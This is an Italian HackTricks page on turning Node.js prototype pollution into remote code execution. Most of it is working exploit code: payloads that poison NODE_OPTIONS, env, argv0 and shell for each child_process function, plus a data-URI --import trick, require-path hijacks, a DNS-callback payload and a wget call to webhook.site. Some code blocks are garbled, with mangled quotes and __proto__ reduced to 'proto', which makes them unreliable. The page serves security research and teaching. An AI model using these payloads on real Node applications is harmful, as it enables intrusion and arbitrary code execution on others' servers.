Inquinamento del Prototype per RCE
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Codice Vulnerabile
Immagina un vero JS che utilizza un codice simile al seguente:
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
}
// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT)
// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
PP2RCE tramite variabili dâambiente
PP2RCE significa Prototype Pollution to RCE (Esecuzione Remota di Codice).
Secondo questo writeup, quando un processo viene avviato con qualche metodo da child_process (come fork o spawn o altri), chiama il metodo normalizeSpawnArguments che è un gadget di inquinamento del prototipo per creare nuove variabili dâambiente:
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
Controlla quel codice, puoi vedere che è possibile avvelenare envPairs semplicemente inquinando lâ**attributo .env.
Avvelenamento di __proto__
Warning
Nota che a causa di come funziona la funzione
normalizeSpawnArgumentsdella libreriachild_processdi node, quando qualcosa viene chiamato per impostare una nuova variabile env per il processo, è sufficiente inquinare qualsiasi cosa.
Ad esempio, se fai__proto__.avar="valuevar"il processo verrĂ avviato con una variabile chiamataavarcon valorevaluevar.Tuttavia, affinchĂŠ la variabile env sia la prima devi inquinare lâattributo
.enve (solo in alcuni metodi) quella variabile sarĂ la prima (consentendo lâattacco).Ecco perchĂŠ
NODE_OPTIONSnon è allâinterno di.envnel seguente attacco.
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
Avvelenamento di constructor.prototype
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
PP2RCE tramite variabili dâambiente + cmdline
Un payload simile a quello precedente con alcune modifiche è stato proposto in questo writeup. Le principali differenze sono:
- Invece di memorizzare il payload nodejs allâinterno del file
/proc/self/environ, lo memorizza allâinterno di argv0 di/proc/self/cmdline. - Poi, invece di richiedere tramite
NODE_OPTIONSil file/proc/self/environ, richiede/proc/self/cmdline.
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
var proc = fork("./a_file.js")
// This should create the file /tmp/pp2rec2
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
Filesystem-less PP2RCE via --import (Node ⼠19)
Note
Dalla Node.js 19 il flag CLI
--importpuò essere passato attraversoNODE_OPTIONSnello stesso modo in cui si può fare con--require. A differenza di--require,--importcomprende data-URIs quindi lâattaccante non ha bisogno di accesso in scrittura al file-system. Questo rende il gadget molto piĂš affidabile in ambienti bloccati o in sola lettura.Questa tecnica è stata documentata pubblicamente per la prima volta dalla ricerca di PortSwigger nel maggio 2023 ed è stata successivamente riprodotta in diverse sfide CTF.
Lâattacco è concettualmente identico ai trucchi --require /proc/self/* mostrati sopra, ma invece di puntare a un file, incorporiamo il payload direttamente in un URL data: codificato in base64:
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) â same as earlier examples
fork("./a_file.js");
Abusare del vulnerabile sink di merge/clone mostrato in cima alla pagina:
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// â creates /tmp/pp2rce_import
PerchÊ --import è utile
- Nessuna interazione con il disco â il payload viaggia interamente allâinterno della riga di comando e dellâambiente del processo.
- Funziona con ambienti solo ESM â
--importè il modo canonico per pre-caricare JavaScript nelle moderne versioni di Node che di default utilizzano ECMAScript Modules. - Ignora alcune liste di autorizzazione
--requireâ alcune librerie di indurimento filtrano solo--require, lasciando--importintatto.
Warning
Il supporto per
--importinNODE_OPTIONSè ancora presente nellâultima Node 22.2.0 (giugno 2025). Il team core di Node sta discutendo di limitare i data-URI in futuro, ma al momento della scrittura non è disponibile alcuna mitigazione.
Interazione DNS
Utilizzando i seguenti payload è possibile abusare della variabile dâambiente NODE_OPTIONS di cui abbiamo discusso in precedenza e rilevare se ha funzionato con unâinterazione DNS:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
Oppure, per evitare che i WAF chiedano il dominio:
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
PP2RCE vuln child_process functions
In questa sezione analizzeremo ogni funzione di child_process per eseguire codice e vedere se possiamo utilizzare qualche tecnica per forzare quella funzione a eseguire codice:
exec sfruttamento
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)
// cmdline trick - working with small variation // Working after kEmptyObject (fix) const { exec } = require(âchild_processâ) p = {} p.proto.shell = â/proc/self/exeâ //You need to make sure the node executable is executed p.proto.argv0 = âconsole.log(require(âchild_processâ).execSync(âtouch /tmp/exec-cmdlineâ).toString())//â p.proto.NODE_OPTIONS = âârequire /proc/self/cmdlineâ var proc = exec(âsomethingâ)
// stdin trick - not working // Not using stdin
// Windows // Working after kEmptyObject (fix) const { exec } = require(âchild_processâ) p = {} p.proto.shell = â\\127.0.0.1\C$\Windows\System32\calc.exeâ var proc = exec(âsomethingâ)
</details>
<details>
<summary><strong><code>execFile</code> sfruttamento</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
// cmdline trick - working with a big requirement
// Working after kEmptyObject (fix)
const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
// stdin trick - not working
// Not using stdin
// Windows - not working
Per execFile per funzionare DEVE eseguire node affinchĂŠ le NODE_OPTIONS funzionino.
Se non sta eseguendo node, devi trovare come modificare lâesecuzione di ciò che sta eseguendo con variabili dâambiente e impostarle.
Le altre tecniche funzionano senza questo requisito perchÊ è possibile modificare ciò che viene eseguito tramite inquinamento del prototipo. (In questo caso, anche se puoi inquinare .shell, non inquinerai ciò che viene eseguito).
fork exploitation
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
// cmdline trick - working // Working after kEmptyObject (fix) const { fork } = require(âchild_processâ) p = {} p.proto.argv0 = âconsole.log(require(âchild_processâ).execSync(âtouch /tmp/fork-cmdlineâ).toString())//â p.proto.NODE_OPTIONS = âârequire /proc/self/cmdlineâ var proc = fork(âsomethingâ)
// stdin trick - not working // Not using stdin
// execArgv trick - working // Only the fork method has this attribute // Working after kEmptyObject (fix) const { fork } = require(âchild_processâ) b = {} b.proto.execPath = â/bin/shâ b.proto.argv0 = â/bin/shâ b.proto.execArgv = [â-câ, âtouch /tmp/fork-execArgvâ] var proc = fork(â./a_file.jsâ)
// Windows // Working after kEmptyObject (fix) const { fork } = require(âchild_processâ) b = {} b.proto.execPath = â\\127.0.0.1\C$\Windows\System32\calc.exeâ var proc = fork(â./a_file.jsâ)
</details>
<details>
<summary><strong><code>spawn</code> sfruttamento</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// stdin trick - not working
// Not using stdin
// Windows
// NOT working after require(fix) without options
const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
Exploitation di execFileSync
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
// cmdline trick - working with small variation (shell) // Working after kEmptyObject (fix) const { execFileSync } = require(âchild_processâ) p = {} p.proto.shell = â/proc/self/exeâ //You need to make sure the node executable is executed p.proto.argv0 = âconsole.log(require(âchild_processâ).execSync(âtouch /tmp/execFileSync-cmdlineâ).toString())//â p.proto.NODE_OPTIONS = âârequire /proc/self/cmdlineâ var proc = execFileSync(âsomethingâ)
// stdin trick - working // Working after kEmptyObject (fix) const { execFileSync } = require(âchild_processâ) p = {} p.proto.argv0 = â/usr/bin/vimâ p.proto.shell = â/usr/bin/vimâ p.proto.input = â:!{touch /tmp/execFileSync-stdin}\nâ var proc = execFileSync(âsomethingâ)
// Windows // Working after kEmptyObject (fix) const { execSync } = require(âchild_processâ) p = {} p.proto.shell = â\\127.0.0.1\C$\Windows\System32\calc.exeâ p.proto.argv0 = â\\127.0.0.1\C$\Windows\System32\calc.exeâ var proc = execSync(âsomethingâ)
</details>
<details>
<summary><strong><code>execSync</code> sfruttamento</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ":!{touch /tmp/execSync-stdin}\n"
var proc = execSync("something")
// Windows
// Working after kEmptyObject (fix)
const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
spawnSync sfruttamento
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require("child_process")
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
// cmdline trick - working with small variation (shell) // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(âchild_processâ) p = {} p.proto.shell = â/proc/self/exeâ //You need to make sure the node executable is executed p.proto.argv0 = âconsole.log(require(âchild_processâ).execSync(âtouch /tmp/spawnSync-cmdlineâ).toString())//â p.proto.NODE_OPTIONS = âârequire /proc/self/cmdlineâ var proc = spawnSync(âsomethingâ) //var proc = spawnSync(âsomethingâ,[],{âcwdâ:â/tmpâ}); //To work after kEmptyObject (fix)
// stdin trick - working // NOT working after kEmptyObject (fix) without options const { spawnSync } = require(âchild_processâ) p = {} p.proto.argv0 = â/usr/bin/vimâ p.proto.shell = â/usr/bin/vimâ p.proto.input = â:!{touch /tmp/spawnSync-stdin}\nâ var proc = spawnSync(âsomethingâ) //var proc = spawnSync(âsomethingâ,[],{âcwdâ:â/tmpâ}); //To work after kEmptyObject (fix)
// Windows // NOT working after require(fix) without options const { spawnSync } = require(âchild_processâ) p = {} p.proto.shell = â\\127.0.0.1\C$\Windows\System32\calc.exeâ var proc = spawnSync(âsomethingâ) //var proc = spawnSync(âsomethingâ,[],{âcwdâ:âC:\â}); //To work after kEmptyObject (fix)
</details>
## Forzare Spawn
Negli esempi precedenti hai visto come attivare il gadget, una funzionalitĂ che **chiama `spawn`** deve essere **presente** (tutti i metodi di **`child_process`** utilizzati per eseguire qualcosa lo chiamano). Nell'esempio precedente questo era **parte del codice**, ma cosa succede se il codice **non** lo chiama.
### Controllare un percorso di file require
In questo [**altro writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) l'utente può controllare il percorso del file dove un **`require`** verrà eseguito. In quel scenario l'attaccante deve solo **trovare un file `.js` all'interno del sistema** che **eseguirà un metodo spawn quando importato.**\
Alcuni esempi di file comuni che chiamano una funzione spawn quando importati sono:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- Trova **altri file qui sotto**
Il seguente semplice script cercherĂ **chiamate** da **child_process** **senza alcun padding** (per evitare di mostrare chiamate all'interno di funzioni):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
File interessanti trovati dallo script precedente
- node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') }) - node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' }) - node_modules/npm/scripts/changelog.js:16:
const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/) - node_modules/detect-libc/bin/detect-libc.js:18:
process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status); - node_modules/jest-expo/bin/jest.js:26:
const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' }); - node_modules/buffer/bin/download-node-tests.js:17:
cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') }) - node_modules/buffer/bin/test.js:10:
var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' }) - node_modules/runtypes/scripts/format.js:13:
const npmBinPath = execSync('npm bin').toString().trim(); - node_modules/node-pty/scripts/publish.js:31:
const result = cp.spawn('npm', args, { stdio: 'inherit' });
Impostazione del percorso del file richiesto tramite inquinamento del prototipo
Warning
La tecnica precedente richiede che lâutente controlli il percorso del file che deve essere richiesto. Ma questo non è sempre vero.
Tuttavia, se il codice eseguirĂ un require dopo lâinquinamento del prototipo, anche se non controlli il percorso che deve essere richiesto, puoi forzare un percorso diverso abusando dellâinquinamento del prototipo. Quindi, anche se la riga di codice è come require("./a_file.js") o require("bytes"), richiamerĂ il pacchetto che hai inquinato.
Pertanto, se un require viene eseguito dopo il tuo inquinamento del prototipo e non câè una funzione di spawn, questo è lâattacco:
- Trova un file
.jsallâinterno del sistema che quando richiesto eseguirĂ qualcosa usandochild_process - Se puoi caricare file sulla piattaforma che stai attaccando, potresti caricare un file del genere
- Inquina i percorsi per forzare il caricamento del require del file
.jsche eseguirĂ qualcosa con child_process - Inquina lâenviron/cmdline per eseguire codice arbitrario quando viene chiamata una funzione di esecuzione child_process (vedi le tecniche iniziali)
Require assoluto
Se il require eseguito è assoluto (require("bytes")) e il pacchetto non contiene main nel file package.json, puoi inquinare lâattributo main e far sĂŹ che il require esegua un file diverso.
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Install package bytes (it doesn't have a main in package.json)
// npm install bytes
// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"
// Trigger gadget
var proc = require("bytes")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Require relativo - 1
Se viene caricata una percorso relativo invece di un percorso assoluto, puoi far sĂŹ che node carichi un percorso diverso:
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Require relativo - 2
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require
// Trigger gadget
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
Require relativo - 3
Simile al precedente, questo è stato trovato in questo articolo.
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
VM Gadgets
Nel documento https://arxiv.org/pdf/2207.11171.pdf è anche indicato che il controllo di contextExtensions da alcuni metodi della libreria vm potrebbe essere utilizzato come gadget.
Tuttavia, come i precedenti metodi di child_process, è stato risolto nelle ultime versioni.
Fixes & Unexpected protections
Si prega di notare che la contaminazione del prototipo funziona se lâattributo di un oggetto a cui si accede è undefined. Se nel codice quellâattributo è impostato a un valore, non sarai in grado di sovrascriverlo.
Nel giugno 2022 da questo commit la var options invece di un {} è un kEmptyObject. Questo previene una contaminazione del prototipo che influisce sugli attributi di options per ottenere RCE.
Almeno dalla v18.4.0 questa protezione è stata implementata, e quindi gli exploits di spawn e spawnSync che influenzano i metodi non funzionano piÚ (se non vengono utilizzati options!).
In questo commit la contaminazione del prototipo di contextExtensions dalla libreria vm è stata anche in parte risolta impostando le opzioni a kEmptyObject invece di {}.
[!INFO] Node 20 (aprile 2023) & Node 22 (aprile 2025) hanno introdotto ulteriori indurimenti: diversi helper di
child_processora copiano leoptionsfornite dallâutente conCopyOptions()invece di usarle per riferimento. Questo blocca la contaminazione di oggetti annidati comestdio, ma non protegge dai trucchiNODE_OPTIONS/--importdescritti sopra â quelle flag sono ancora accettate tramite variabili dâambiente. Una soluzione completa dovrebbe limitare quali flag CLI possono essere propagati dal processo padre, il che è in fase di monitoraggio nel Node Issue #50559.
Other Gadgets
- https://github.com/yuske/server-side-prototype-pollution
- https://github.com/KTH-LangSec/server-side-prototype-pollution
References
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://blog.sonarsource.com/blitzjs-prototype-pollution/
- https://arxiv.org/pdf/2207.11171.pdf
- https://portswigger.net/research/prototype-pollution-node-no-filesystem
- https://www.nodejs-security.com/blog/2024/prototype-pollution-regression
- https://portswigger.net/research/server-side-prototype-pollution
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

